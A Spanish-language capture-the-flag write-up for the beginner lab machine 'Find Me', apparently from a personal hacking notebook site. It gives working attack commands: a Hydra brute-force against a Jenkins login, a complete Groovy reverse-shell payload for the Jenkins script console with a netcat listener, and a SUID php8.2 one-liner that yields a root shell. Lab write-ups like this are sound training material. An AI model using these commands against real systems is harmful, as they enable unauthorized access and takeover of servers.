beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • 🔍 RECONOCIMIENTO
  • 🔎 EXPLORACIÓN
  • 🚀 EXPLOTACIÓN
  • 🔐 PRIVILEGIOS

Was this helpful?

  1. WRITEUPS
  2. The Hacker Labs

Find Me

🔍 Dificultad: Principiante

PreviousCocido andaluzNextQuokka

Last updated 6 months ago

Was this helpful?

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 192.168.1.91

para verificar la conectividad de red.

A continuación, se realiza el comando:

nmap -p- --open 192.168.1.91 --min-rate 5000 -n

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 21 perteneciente al servicio FTP, puerto 22 perteneciente al servicio SSH, el puerto 80 perteneciente al servicio HTTP y el puerto 8080 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p21,22,80,8080 -v 192.168.1.91

para obtener más información sobre ese puerto específicamente.

Seguimos indagando más sobre los puertos y ahora exploramos el servicio HTTP. Ingresamos la IP y nos encontramos la página de por defecto de Apache.

Ingresamos la IP pero a través del puerto 8080 y nos encontramos con el panel de login de Jenkins.

Al realizar el escaneo encontramos que tenemos acceso anónimo a través de FTP por lo que indagaremos si hay algo relevante. Vemos una nota de ayuda.txt por lo que nos la descargamos.

ftp 192.168.1.91
ls
get ayuda.txt

Al mostrar el contenido encontramos un usuario llamado geralt. Nos da pistas de lo que recuerda por lo que creamos un diccionario con las distintas posibilidades a tavés de Crunch.

crunch 5 5 -t p@@@a -o diccionario.txt

🚀 EXPLOTACIÓN

Ingresamos el usuario descubierto con una contraseña cualquiera y al inspeccionar la pagina en Network cogemos la distinta informacion para realizar el ataque de fuerza bruta.

hydra -l geralt -P diccionario.txt 192.168.1.91 -s 8080 http-post-form "/j_spring_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=:c=/login:Invalid username or password" -f -V

Iniciamos sesión en Jenkins con las credenciales.

Seleccionamos manage jenkins y luego script console que nos permite enviar una reverse shell mediante Groovy mediante nos ponemos en escucha.

String host="192.168.1.50";int port=443;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
nc -nvlp 443

Hacemos tratamiento de la TTY. Nos cambiamos de usuario a geralt.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar. Requiere contraseña.

Buscamos archivos con permisos SUID.

find / -perm -4000 -ls 2>/dev/null
/usr/bin/php8.2 -r "pcntl_exec('/bin/sh', ['-p']);"

Ya somos root.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀

Buscamos en la página .

GTFObins